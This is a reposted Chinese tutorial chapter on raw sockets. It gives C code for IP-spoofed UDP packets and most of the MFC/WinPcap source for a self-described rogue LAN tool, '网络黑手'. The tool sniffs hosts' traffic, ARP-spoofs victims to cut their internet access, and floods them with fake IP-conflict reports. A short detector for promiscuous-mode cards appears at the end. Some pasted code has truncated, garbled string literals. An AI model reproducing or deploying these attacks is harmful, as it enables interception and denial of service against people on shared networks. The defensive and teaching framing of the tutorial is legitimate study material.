原始套接字透析之实现IP地址欺骗

更新时间:2024-01-15 17:51:01 阅读量: 教育文库 文档下载

说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。

由于使用Raw Socket的时候,IP报头可完全由程序员自定义,所以我们可以任意地修改本地发送包的IP地址,使得接收方错误的认为IP报文是由欺骗地址发出的。

下面的程序演示了向某目标发送IP地址伪装的UDP报文的过程:

void sendPesuoIpUDP(void) {

WSADATA wsd;

if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) {

printf(\ return; }

SOCKET s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_UDP, NULL, 0,WSA_FLAG_OVERLAPPED); // Create a raw socket if (s == INVALID_SOCKET) {

printf(\ return - 1; }

BOOL bOpt = TRUE;

int ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*) &bOpt, sizeof(bOpt)); // 使用IP_HDRINCL if (ret == SOCKET_ERROR) {

printf(\ return - 1; }

const int BUFFER_SIZE = 80; char buffer[BUFFER_SIZE];

const char *strMessage = \

// Set IP header IP_HDR ipHdr; UDP_HDR udpHdr;

const unsigned short iIPSize = sizeof(ipHdr) / sizeof(unsigned long); const unsigned short iIPVersion = 4; ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize; ipHdr.ip_tos = 0; // IP type of service

const unsigned short iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + strlen(strMessage);

ipHdr.ip_totallength = htons(iTotalSize); // Total packet len ipHdr.ip_id = 0; // Unique identifier: set to 0 ipHdr.ip_offset = 0; // Fragment offset field ipHdr.ip_ttl = 128; // Time to live

ipHdr.ip_protocol = 0x11; // Protocol(UDP) ipHdr.ip_checksum = 0; // IP checksum

const char *target_ip_address = \ const char *treat_ip_address = \

ipHdr.ip_destaddr = inet_addr(target_ip_address); // 接收方IP地址 ipHdr.ip_srcaddr = inet_addr(treat_ip_address); // 发送方伪造的IP地址

// Set UDP header

const u_short uToPort = 8000;

udpHdr.dst_portno = htons(uToPort); // 接收方端口

const u_short uFromPort = 1000;

udpHdr.src_portno = htons(uFromPort); // 发送伪造的端口

const unsigned short iUdpSize = sizeof(udpHdr) + strlen(strMessage); udpHdr.udp_length = htons(iUdpSize); udpHdr.udp_checksum = 0;

// 组建待发送的UDP报文

ZeroMemory(buffer, BUFFER_SIZE); char *ptr = buffer;

memcpy(ptr, &ipHdr, sizeof(ipHdr));

ptr += sizeof(ipHdr);

memcpy(ptr, &udpHdr, sizeof(udpHdr));

ptr += sizeof(udpHdr);

memcpy(ptr, strMessage, strlen(strMessage));

// Apparently, this SOCKADDR_IN structure makes no difference.

// Whatever we put as the destination IP addr in the IP header is what goes. // Specifying a different destination in remote will be ignored.

sockaddr_in remote;

remote.sin_family = AF_INET; remote.sin_port = htons(8000);

remote.sin_addr.s_addr = inet_addr(\

printf(\

ret = sendto(s, buffer, iTotalSize, 0, (SOCKADDR*) &remote, sizeof(remote)); // 发送伪造的报文

if (ret == SOCKET_ERROR) {

printf(\ } else

printf(\

closesocket(s); WSACleanup(); return; }

如果我们在第4节描述的ICMP FLOOD攻击中伪造IP地址,则对方将无法检测出究竟是谁在对其进行攻击,实际上,这也是一种非常常用的黑客攻击中隐藏自身的途径。

原始套接字透析之综合实例:网络黑手

为了给本系列文章一个具体的实例,笔者编写了\网络黑手\这样一个免费软件。它是一种融合了目前许多类似工具软件功能的具有超强攻击/侦听能力的流氓软件,并可能将成为又一个臭名昭著的破坏性工具,它的功能包括:

1. 检测本地网络适配器列表并选择一个工作适配器;

2. 检测局域网内指定IP范围内所有节点的IP地址、MAC地址信息,并列表显示;

3. 监听局域网上某节点的所有收发信息;

4. 剪断局域网上某机器与网关的联络,从而让其不能上网;

5. 不停向局域网内某台主机发送ARP报文,让其不断提示\冲突\,烦恼不已。

如果你所在的局域网内有人使用此软件攻击你的计算机,你将变得痛苦不堪。所以,笔者不得不声明的是编写本软件的目的不在于要荼毒生灵、贻害人间,而仅仅是为了本系列教程教学和广大读者掌握黑客攻防技术的需要。任何个人或组织使用本软件进行破坏行为,都应受到道德的谴责或可能的法律制裁。

尽管如此,为了防范于未然,笔者在研制\网络黑手\这一毒药的同时,也精心研制了其相应的解药――\网络黑手终结者\,这一软件也是免费的。在你的网络内,如果有谁使用了\网络黑手\,你将可以用\网络黑手终结者\直接终结之!

点击此处下载网络黑手;

网络黑手程序的运行最好先安装winpcap,请在此地址下载:http://www.winpcap.org/。

1、网络黑手的实现

网络黑手0.1版(限于时间的原因,在本教程中我们给出的仅仅是一个教学版本,所以版本号仅为0.1),其界面如下:

界面的左上角用于设置监控的目标范围(IP地址,如192.168.1.1~192.168.1.254,只能输入与本机处于同一子网的IP地址)、选择本地网卡(对于安装了多块网卡的用户),按钮\开始\用于启动监控和其他操作,启动成功后\开始\按钮会变为\停止\。

界面的左下角列出活动的与本机处于同一子网机器的主机名、IP地址、MAC地址,在相应的主机上双击\和\欺骗\项目可以启动和停止对该主机的嗅探和ARP欺骗(会切断该机的外网出口)。

与之对应的数据结构为:

typedef struct tagHostList {

unsigned long ip; char mac[6]; bool sniffer; bool arpCheat; bool ipConflict; } HostList;

界面的右边即为监控到报文的源IP地址、目的IP地址、协议、源端口号、目的端口号以及报文的长度,而表格的最后一行将对应显示相关IP报文的数据。为了简化软件的设计和减少程序对内存的占用,在Sniffer时,实际缓存的数据包MAX_PACKET最大为30,超过的会自动被覆盖。

与之对应的数据结构为:

typedef struct tagPacketList {

unsigned long srcIp; unsigned long desIp; unsigned char protocol; unsigned long srcPort; unsigned long desPort; unsigned long len; char data[256]; }PacketList;

我们需要在对话框的初始化函数中构造上述界面中的表格项目,相关源代码如下:

BOOL CNetHackerDlg::OnInitDialog() {

CDialog::OnInitDialog();

// IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000);

CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) {

CString strAboutMenu;

strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) {

pSysMenu->AppendMenu(MF_SEPARATOR);

pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } }

// Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon

// TODO: Add extra initialization here int i=0; //…

m_hostList.Create(CRect(12,115,435,466),this, 1000,WS_BORDER |WS_VISIBLE |WS_VSCROLL|WS_CHILD);

m_hostList.SetScrollRange(1,0,351);

m_hostList.EnableScrollBar(ESB_ENABLE_BOTH);

m_hostList.SetCols (5); m_hostList.SetRows (256); for (i = 0; i < 256; i ++) {

m_hostList.SetRowHeight (i, 13); for(int j =0;j<5;j++) {

m_hostList.SetAlignment(i,j,DT_CENTER);

} }

m_hostList.SetColWidth (0, 100); m_hostList.SetColWidth (1, 130); m_hostList.SetColWidth (2, 50); m_hostList.SetColWidth (3, 55); m_hostList.SetColWidth (4, 70);

m_hostList.SetText (0,0,\地址\ m_hostList.SetText (0,1,\地址\ m_hostList.SetText (0,2,\ m_hostList.SetText (0,3,\欺骗\ m_hostList.SetText (0,4,\报告IP冲突\

m_packetList.Create(CRect(444,26,768,466),this, 1000); m_packetList.SetCols (6); m_packetList.SetRows (31); for (i = 0; i < 30; i ++) {

m_packetList.SetRowHeight (i, 13); for(int j =0;j<6;j++) {

m_packetList.SetAlignment(i,j,DT_CENTER); } }

m_packetList.SetRowHeight (i, 47);

m_packetList.SetColWidth (0, 75); m_packetList.SetColWidth (1, 75); m_packetList.SetColWidth (2, 32); m_packetList.SetColWidth (3, 45); m_packetList.SetColWidth (4, 55); m_packetList.SetColWidth (5, 40); m_packetList.SetText (0,0,\源IP\ m_packetList.SetText (0,1,\目的IP\ m_packetList.SetText (0,2,\协议\ m_packetList.SetText (0,3,\源端口\ m_packetList.SetText (0,4,\目的端口\ m_packetList.SetText (0,5,\长度\ m_packetList.JoinCells (30,0,30,5);

mailDlg = this;

return TRUE; // return TRUE unless you set the focus to a control

}

右边表格中最后的一行是多列合并的结果,完成此合并的代码为:

int XTable::JoinCells (int startRow, int startCol, int endRow, int endCol) {

if (startRow < 0 || startRow >= rows) return -1; if (endRow < 0 || startRow >= rows) return -1;

if (startCol < 0 || startCol >= cols) return -1; if (endCol < 0 || endCol >= cols) return -1;

if (startRow > endRow || startCol > endCol) return -1;

for (int i = startRow; i <= endRow; i++) {

for (int j = startCol; j <=endCol; j++) {

cells [i * cols + j].SetSpan(0,0); } }

cells [startRow * cols + startCol].SetSpan(endRow - startRow+1, endCol - startCol+1); return 0; }

其\反函数\为:

int XTable::UnjoinCells (int row, int col) {

if (row < 0 || row >= this->rows) return -1; if (col < 0 || col >= this->cols) return -1;

if (cells [row * cols + col].rowSpan <= 1 && cells [row * cols + col].colSpan <= 1 ) return -1;

for (int i = row; i <= row + cells [row * cols + col].rowSpan; i++) {

for (int j = col; j <= cells [row * cols + col].colSpan; j++) {

cells[i*cols+j] = defaultCell; cells [i * cols + j].SetSpan(1,1); } } return 0;

}

程序中的IDC_ADAPTERLIST_COMBO控件用于提供用户选择本地适配器,获得本地适配器列表的代码如下(也处于对话框的初始化函数中):

char errbuf[PCAP_ERRBUF_SIZE]; /* 取得列表 */

if (pcap_findalldevs(&alldevs, errbuf) == - 1) {

AfxMessageBox(\获得网卡列表失败!\\n\

GetDlgItem(IDC_STARTSTOP_BUTTON)->EnableWindow(FALSE); }

/* 输出列表 */

for (d = alldevs; d; d = d->next) {

CString str(d->name);

if (str.Find(\ m_adapterList.AddString(str); }

给监控IP地址范围内的主机发送ARP请求包并获取反馈,即可获得监控范围内活动机器的IP地址和MAC地址,以进行进一步地管理。

发送ARP请求的函数代码:

void SendArpReq(unsigned long srcIp,unsigned long desIp,UCHAR * srcMac) {

char sendbuf[1024]; ETHDR eth; ARPHDR arp;

memcpy(eth.eh_src,mmac,6); eth.eh_type=htons(ETH_ARP);

arp.arp_hdr=htons(ARP_HARDWARE); arp.arp_pro=htons(ETH_IP); arp.arp_hln=6; arp.arp_pln=4;

arp.arp_opt=htons(ARP_REQUEST); arp.arp_spa=htonl(srcIp); arp.arp_tpa=htonl(desIp); memcpy(arp.arp_sha,srcMac,6);

for(int i=0;i<6;i++) {

eth.eh_dst[i]=0xff; arp.arp_tha[i]=0x00; }

memset(sendbuf,0,sizeof(sendbuf)); memcpy(sendbuf,ð,sizeof(eth));

memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp)); if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE) {

AfxMessageBox(\ } }

双击表格中控制Sniffer、ARP欺骗和IP地址重复的栏目,需要变换其中的显示内容,要么从\到\,要么从\到\(当然,主机数据结构中的控制属性也要随之而改变),相关的代码为:

void XTable::OnLButtonDblClk(UINT nFlags, CPoint point) {

HitTest(point, focusRow, focusCol);

SetFocus();

CString str = GetText(focusRow, focusCol); if (str == \ {

SetText(focusRow, focusCol, \ switch (focusCol) { case 2:

oldHostList[focusRow - 1+nVWndPos / 13].sniffer = 0; break; case 3:

oldHostList[focusRow - 1+nVWndPos / 13].arpCheat = 0; break; case 4:

oldHostList[focusRow - 1+nVWndPos / 13].ipConflict = 0; break; default: break; } }

else if (str == \ {

SetText(focusRow, focusCol, \ switch (focusCol) { case 2:

oldHostList[focusRow - 1+nVWndPos / 13].sniffer = 1; break; case 3:

oldHostList[focusRow - 1+nVWndPos / 13].arpCheat = 1; break; case 4:

oldHostList[focusRow - 1+nVWndPos / 13].ipConflict = 1; break; default: break; } }

Invalidate();

CWnd::OnLButtonDblClk(nFlags, point); }

上述代码中的HitTest()调用比较关键,用于获得当前选中的行和列,我们来看看相关的代码:

bool XTable::HitTest(CPoint point, int &row, int &col) {

for (int i = 0; i < rows; i++) {

for (int j = 0; j < rows; j++) {

RECT rect = GetRect(i, j);

if (rect.top <= point.y && rect.bottom > point.y && rect.left <= point.x && rect.right > point.x) { row = i; col = j; return true; } } }

return false; }

在表格的某一格处于焦点时,我们应给其画一个矩形边框:

int XTable::Draw(CDC* pDC) { //…

if (focusRow < rows && focusCol < cols) //** {

RECT rect = GetRect (focusRow, focusCol);

GetCells (focusRow, focusCol)->DrawHitBorder(pDC, rect, RGB(0xb0, 0xb0, 0xb0)); } return 0; }

int XCell::DrawHitBorder (CDC* pDC, RECT rect, COLORREF color) {

CPen pen (PS_SOLID, 2, color);

CPen* oldPen = pDC->SelectObject(&pen); pDC->MoveTo (rect.left, rect.top); pDC->LineTo (rect.right, rect.top); pDC->LineTo (rect.right, rect.bottom); pDC->LineTo (rect.left, rect.bottom); pDC->LineTo (rect.left, rect.top); pDC->SelectObject(oldPen); return 0; }

获得IP地址监控范围内主机列表的方法如下:

m_fromip.GetAddress(fromip); m_toip.GetAddress(toip);

rthread = CreateThread(NULL, 0, sniff, 0, 0, 0); Sleep(100); //保证sniff线程已经稳定运行 SendArpReq(1, myip, mmac); while (1) {

if (!(!mmac[0] && !mmac[1] && !mmac[2] && !mmac[3])) break; Sleep(100); }

for (unsigned long i = fromip; i < myip; i++) {

SendArpReq(myip, i, mmac); }

for (i = myip + 1; i <= toip; i++) {

SendArpReq(myip, i, mmac); }

Sleep(1000);

for (i = 0; i < currentHstIndex; i++) {

HOSTENT *tmpHostent;

tmpHostent = gethostbyaddr((char*)(&(hostList[i].ip)), 16, AF_INET); if (tmpHostent)

m_hostList.SetText(i + 1, 0, tmpHostent->h_name);

m_hostList.SetText(i + 1, 1, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)))) ; m_hostList.SetText(i + 1, 3, \ CString str;

str.Format(\ hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); m_hostList.SetText(i + 1, 2, str); m_hostList.SetText(i + 1, 4, \ m_hostList.SetText(i + 1, 5, \}

m_hostList.Invalidate();

上述代码的思路是给fromip~min(myip-1,toip),myip+1~toip范围内的主机发送ARP请求报文并监控其ARP回复,从而获得其IP与MAC的对应关系。当然,它首先用了同样的原理来获取本机的MAC地址。

为了在表格的垂直滚动条滚动时正确的设置滚动条的位置和显示正确的主机列表,我们应该给XTable添加垂直滚动条消息处理函数:

void XTable::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar *pScrollBar) {

// TODO: Add your message handler code here and/or call default static UINT nVWndPos = 0; switch (nSBCode) {

case SB_LINEDOWN: case SB_PAGEDOWN: nPos = nVWndPos + 13; SetScrollPos(SB_VERT, nPos); nVWndPos = nPos;

break;

case SB_LINEUP: case SB_PAGEUP: nPos = nVWndPos - 13; SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break;

case SB_THUMBTRACK: SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; }

for (int i = nVWndPos / 13, j = 0; i < currentHstIndex; i++, j++) {

CString str;

SetText(j + 1, 0, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip))));

if (hostList[i].sniffer == 0) SetText(j + 1, 2, \ else

SetText(j + 1, 2, \

str.Format(\ hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); SetText(i + 1, 1, str);

if (hostList[i].arpCheat == 0) SetText(j + 1, 3, \ else

SetText(j + 1, 3, \ if (hostList[i].ipConflict == 0) SetText(j + 1, 4, \ else

SetText(j + 1, 4, \ }

for (; j < MAX_HOST; j++) {

for (int k = 0; k < 5; k++) SetText(j + 1, k, \ }

Invalidate();

CWnd::OnVScroll(nSBCode, nPos, pScrollBar); }

上述程序依赖于监控(sniffer)相关代码,核心代码如下:

DWORD WINAPI Sniff(void *p) {

char recvbuf[1024 *250];

memset(packetList, 0, MAX_PACKET *sizeof(PacketList));

if (PacketSetHwFilter(lpadapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) {

AfxMessageBox(\ return - 1; }

if (PacketSetBuff(lpadapter, 500 *1024) == FALSE) {

AfxMessageBox(\ return - 1; }

if (PacketSetReadTimeout(lpadapter, 0) == FALSE) {

AfxMessageBox(\ return - 1; }

if ((lppacketr = PacketAllocatePacket()) == FALSE) {

AfxMessageBox(\ return - 1; }

PacketInitPacket(lppacketr, (char*)recvbuf, sizeof(recvbuf));

while (1) {

if (PacketReceivePacket(lpadapter, lppacketr, TRUE) == FALSE) {

return - 1; }

GetData(lppacketr);

} return 0; }

其中调用的函数GetData()用于解析由PacketReceivePacket()函数收到的报文,关于分析ARP_REPLY报文以便获得局域网主机列表的代码如下:

void GetData(LPPACKET lp) {

ULONG ulbytesreceived, off; ETHDR *eth; ARPHDR *arp; PIPHDR ip;

char *buf, *pChar, *base; struct bpf_hdr *hdr;

ulbytesreceived = lp->ulBytesReceived; buf = (char*)lp->Buffer;

off = 0;

while (off < ulbytesreceived) {

hdr = (struct bpf_hdr*)(buf + off); off += hdr->bh_hdrlen;

pChar = (char*)(buf + off); base = pChar;

off = Packet_WORDALIGN(off + hdr->bh_caplen);

eth = (PETHDR)pChar;

arp = (PARPHDR)(pChar + sizeof(ETHDR));

if (eth->eh_type == htons(ETH_IP)) {

ip = (PIPHDR)(pChar + sizeof(ETHDR)); for (int i = 0; i < oldHstIndex; i++) {

if ((oldHostList[i].ip == ip->sourceip || oldHostList[i].ip == ip ->destip) && oldHostList[i].sniffer == 1) {

packetList[currentPktIndex].srcIp = ip->sourceip; packetList[currentPktIndex].desIp = ip->destip; packetList[currentPktIndex].protocol = ip->proto;

switch (ip->proto) {

case IPPROTO_TCP:

TCP_HEADER *pTcpHeader;

pTcpHeader = (TCP_HEADER*)(pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4);

packetList[currentPktIndex].srcPort = ntohs(pTcpHeader->th_sport); packetList[currentPktIndex].desPort = ntohs(pTcpHeader->th_dport);

memcpy(packetList[currentPktIndex].data, pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4+20, 255);

packetList[currentPktIndex].data[255] = 0; break;

case IPPROTO_UDP:

UDP_HEADER *pUdpHeader;

pUdpHeader = (UDP_HEADER*)(pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4);

packetList[currentPktIndex].srcPort = ntohs(pUdpHeader->uh_sport); packetList[currentPktIndex].desPort = ntohs(pUdpHeader->uh_dport); memcpy(packetList[currentPktIndex].data, pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4+sizeof(UDP_HEADER), 256); packetList[currentPktIndex].data[255] = 0; break; default:

packetList[currentPktIndex].data[0] = 0; break; }

currentPktIndex++;

currentPktIndex %= MAX_PACKET; if (currentPktIndex == 0)

mailDlg->PostMessage(RECV_PKT); break; } } continue; }

else if (eth->eh_type == htons(ETH_ARP)) {

if (arp->arp_tpa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) { int i;

for (i = 0; i < currentHstIndex; i++) {

if (hostList[i].ip == arp->arp_spa)

{ break; } }

if (i >= currentHstIndex) {

hostList[currentHstIndex].ip = arp->arp_spa;

memcpy(hostList[currentHstIndex].mac, eth->eh_src, 6); currentHstIndex++; } }

else if (arp->arp_spa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) memcpy(mmac, eth->eh_src, 6); for (int i = 0; i < oldHstIndex; i++) {

if ((oldHostList[i].ip == arp->arp_spa || oldHostList[i].ip == arp ->arp_tpa) && oldHostList[i].sniffer == 1) {

packetList[currentPktIndex].srcIp = arp->arp_spa; packetList[currentPktIndex].desIp = arp->arp_tpa; packetList[currentPktIndex].protocol = ARP; packetList[currentPktIndex].data[0] = 0;

currentPktIndex++;

currentPktIndex %= MAX_PACKET; if (currentPktIndex == 0)

mailDlg->PostMessage(RECV_PKT); break; } } } } }

我们需要动态追踪局域网内节点的活动状态,以定时器实现:

void CNetHackerDlg::OnTimer(UINT nIDEvent) {

// TODO: Add your message handler code here and/or call default if (sthread == 0) {

if (!mmac[0] && !mmac[1] && !mmac[2] && !mmac[3] && !mmac[4] && !mmac[5]) {

SendArpReq(1, myip, mmac); return ;

}

sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); SetTimer(1, 7 *(toip - fromip), NULL); //启动定时器 }

if (WaitForSingleObject(sthread, 0) != WAIT_OBJECT_0) { return ; }

//test using self host

/* hostList[currentHstIndex].sniffer = 1; hostList[currentHstIndex].ipConflict = 0; hostList[currentHstIndex].arpCheat = 0; hostList[currentHstIndex].ip = htonl(myip); hostList[currentHstIndex].ipConflict = 1; hostList[currentHstIndex].arpCheat = 1;

memcpy(hostList[currentHstIndex].mac,mmac,6); currentHstIndex++; */ int i, j;

for (i = 0; i < currentHstIndex; i++) {

for (j = 0; j < oldHstIndex; j++) {

if (oldHostList[j].ip == hostList[i].ip) {

hostList[i].sniffer = oldHostList[j].sniffer; hostList[i].ipConflict = oldHostList[j].ipConflict; hostList[i].arpCheat = oldHostList[j].arpCheat; break; } } }

SetTimer(1, 20000, NULL);

for (i = m_hostList.nVWndPos / 13, j = 0; i < currentHstIndex; i++, j++) {

CString str;

m_hostList.SetText(j + 1, 0, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)) ));

if (hostList[i].sniffer == 0)

m_hostList.SetText(j + 1, 2, \

else

m_hostList.SetText(j + 1, 2, \

str.Format(\ hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); m_hostList.SetText(i + 1, 1, str);

if (hostList[i].arpCheat == 0)

m_hostList.SetText(j + 1, 3, \ else

m_hostList.SetText(j + 1, 3, \ if (hostList[i].ipConflict == 0)

m_hostList.SetText(j + 1, 4, \ else

m_hostList.SetText(j + 1, 4, \}

for (; j < 31; j++) {

for (int k = 0; k < 5; k++) m_hostList.SetText(j + 1, k, \}

m_hostList.Invalidate();

unsigned char mac[6]; memcpy(mac, mmac, 4); mac[5] = rand();

for (i = 0; i < currentHstIndex; i++) {

unsigned long ip;

if (hostList[i].arpCheat == 1) {

ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(gateip, ip, mac); //网关->欺骗IP }

if (hostList[i].ipConflict == 1) {

ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24;

SendArpReq(ip, 2, mac); } }

memcpy(oldHostList, hostList, sizeof(HostList) *MAX_HOST); oldHstIndex = currentHstIndex; currentHstIndex = 0;

OnRecvPkt();

sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); CDialog::OnTimer(nIDEvent); }

Sniffer到需要监听节点的报文后,sniffer线程会主动给对话框发送消息,以更新显示:

void CNetHackerDlg::OnRecvPkt() {

CString str;

for (int i = 1; i <= MAX_PACKET; i++) {

if (!packetList[i - 1].srcIp) break;

m_packetList.SetText(i, 0, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].srcIp))));

m_packetList.SetText(i, 1, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].desIp))));

switch (packetList[i - 1].protocol) {

case IPPROTO_TCP:

m_packetList.SetText(i, 2, \ str.Format(\ m_packetList.SetText(i, 3, str);

str.Format(\ m_packetList.SetText(i, 4, str); break;

case IPPROTO_UDP:

m_packetList.SetText(i, 2, \ str.Format(\ m_packetList.SetText(i, 3, str);

str.Format(\ m_packetList.SetText(i, 4, str);

break;

case IPPROTO_ICMP:

m_packetList.SetText(i, 2, \ m_packetList.SetText(i, 3, \ m_packetList.SetText(i, 4, \ break;

case IPPROTO_IGMP:

m_packetList.SetText(i, 2, \ m_packetList.SetText(i, 3, \ m_packetList.SetText(i, 4, \ break; case ARP:

m_packetList.SetText(i, 2, \ m_packetList.SetText(i, 3, \ m_packetList.SetText(i, 4, \ break; } }

m_packetList.Invalidate(); }

\启动\和\停止\按钮的处理函数为:

void CNetHackerDlg::OnStartstopButton() {

// TODO: Add your control notification handler code here char adapter[200]; struct sockaddr_in sin;

m_adapterList.GetWindowText(adapter, 200);

if (m_runStatus == STOP) {

lpadapter = PacketOpenAdapter(adapter);

if (!lpadapter || (lpadapter->hFile == INVALID_HANDLE_VALUE)) {

MessageBox(\网络黑手\ return ; }

if ((lppackets = PacketAllocatePacket()) == FALSE) {

MessageBox(\网络黑手\

MB_ICONEXCLAMATION); return ; }

for (d = alldevs; d; d = d->next) {

if (strcmp(d->name, adapter) == 0) {

sin = *(struct sockaddr_in*)(d->addresses->addr); myip = ntohl(sin.sin_addr.s_addr); break; } }

m_hostList.SetText(1, 0, \正在获取...\ m_hostList.SetText(1, 1, \正在获取...\

m_hostList.Invalidate();

m_fromip.GetAddress(fromip); m_toip.GetAddress(toip); m_gateip.GetAddress(gateip);

memset(packetList, 0, MAX_PACKET *sizeof(PacketList)); memset(mmac, 0, 6);

rthread = CreateThread(NULL, 0, sniff, 0, 0, 0);

SetTimer(1, 100, NULL); //启动定时器

SetDlgItemText(IDC_STARTSTOP_BUTTON, \停止\ m_runStatus = START; } else {

TerminateThread(rthread, 0); CloseHandle(rthread); TerminateThread(sthread, 0); CloseHandle(sthread); currentHstIndex = 0; sthread = 0; rthread = 0; oldHstIndex = 0;

SetDlgItemText(IDC_STARTSTOP_BUTTON, \开始\ m_runStatus = STOP;

PacketCloseAdapter(lpadapter); KillTimer(1); } 下面我们来介绍\欺骗\和\报告IP冲突\的实现方法。ARP欺骗很简单,发送一个ARP报文,目的IP为攻击目标,源IP为局域网网关,源MAC地址瞎弄一个或弄成自己的即可:

SendArpReq(gateIp, desIp,mmac);

\报告IP冲突\的实现方法是,发送一个ARP报文,源IP为攻击目标,目的IP瞎弄一个,MAC地址也瞎弄一个:

SendArpReq(desIp, 2,mac);

为了不断的骚扰对方,我们可以弄个定时器,在OnTimer()的时候就给需要欺骗的目标整一个伪造报文:

void CNetHackerDlg::OnTimer(UINT nIDEvent) { //…

for (int i = 0; i < currentHstIndex; i++) {

if (hostList[i].arpCheat == 1) {

SendArpReq(gateIp, desIp, mmac); }

if (hostList[i].ipConflict == 1) {

SendArpReq(desIp, 2, mac); } } }

最后,因为对话框程序的回车键会产生与按下OK按钮同样的效果,即对话框程序会关闭,而我们的上述程序不需要OK按钮,因此,可以直接覆盖OnOk()函数,相关代码为:

class CNetHackerDlg: public CDialog { //...

// Generated message map functions //{{AFX_MSG(CNetHackerDlg) virtual BOOL OnInitDialog();

afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint();

afx_msg HCURSOR OnQueryDragIcon();

afx_msg void OnStartstopButton(); afx_msg void OnTimer(UINT nIDEvent); afx_msg void OnRecvPkt();

afx_msg void OnOk(); //OK按钮处理函数 //}}AFX_MSG //... };

BEGIN_MESSAGE_MAP(CNetHackerDlg, CDialog) //{{AFX_MSG_MAP(CNetHackerDlg) ON_WM_SYSCOMMAND() ON_WM_PAINT()

ON_WM_QUERYDRAGICON()

ON_BN_CLICKED(IDC_STARTSTOP_BUTTON, OnStartstopButton) ON_BN_CLICKED(IDOK,OnOk) //OK按钮消息影射 ON_WM_TIMER()

ON_MESSAGE(RECV_PKT, OnRecvPkt) //}}AFX_MSG_MAP END_MESSAGE_MAP()

void CNetHackerDlg::OnOk() {

CAboutDlg dlg; dlg.DoModal(); }

上述的OK按钮处理函数将弹出软件的关于(About)对话框,这样,在对话框的任意位置按下回车键,将弹出关于对话框,效果如下:

最后,因为程序包括了Winpcap相关.dll及其他.dll的引用,因此,我们应该在程序的适当地方进行如下声明:

#pragma comment(lib,\#pragma comment(lib,\#pragma comment(lib,\

2、网络黑手终结者的实现

\网络黑手终结者\用于搜索局域网内处于混杂模式的网卡并将其列出,检测其是否正在使用的是\网络黑手\(对方可能使用其他工具使网卡处于混杂模式),如果是,我们可以通过\黑手状态\一列来终结对方正在使用的\网络黑手\。

检测局域网内处于混杂模式网卡的原理如下:

正常的ARP请求使用FF-FF-FF-FF-FF-FF这个MAC地址为目标,这个是一个正规的广播地址,网卡不管处于正常模式还是混杂,都会接收并传递给系统核心。但是,为了侦查混杂模式的网卡,我们以FF-FF-FF-FF-FF-FE为目标发送ARP请求。假设对方网卡处于混杂模式,它就会接受这个ARP请求并提交给系统核心。巧就巧在操作系统在检测MAC层广播地址时,不会检查所有的字节,即它可能认为FF-FF-XX-XX-XX-XX就等同于FF-FF-FF-FF-FF-FF,并给出ARP回复。所有的Windows操作系统都是如此。显然,最保险的是以FF-FF-FF-FF-FF-FE为目标发送ARP请求,处于混杂模式的网卡会接收该报文而正常的网卡则不会接收,混杂模式的网卡接收到ARP请求提交系统核心后,会发送ARP回复,凭此可以确定该节点一定处于混杂模式。ArpKiller软件也是基于上述原理展开的。

\网络黑手终结者\的界面如下:

创建界面中表格及获得网卡列表、对话框初始化的代码如下:

BOOL CNetHackerKillDlg::OnInitDialog() {

CDialog::OnInitDialog();

// Add \

// IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX &0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000);

CMenu *pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) {

CString strAboutMenu;

strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) {

pSysMenu->AppendMenu(MF_SEPARATOR);

pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } }

// Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon

SetIcon(m_hIcon, FALSE); // Set small icon

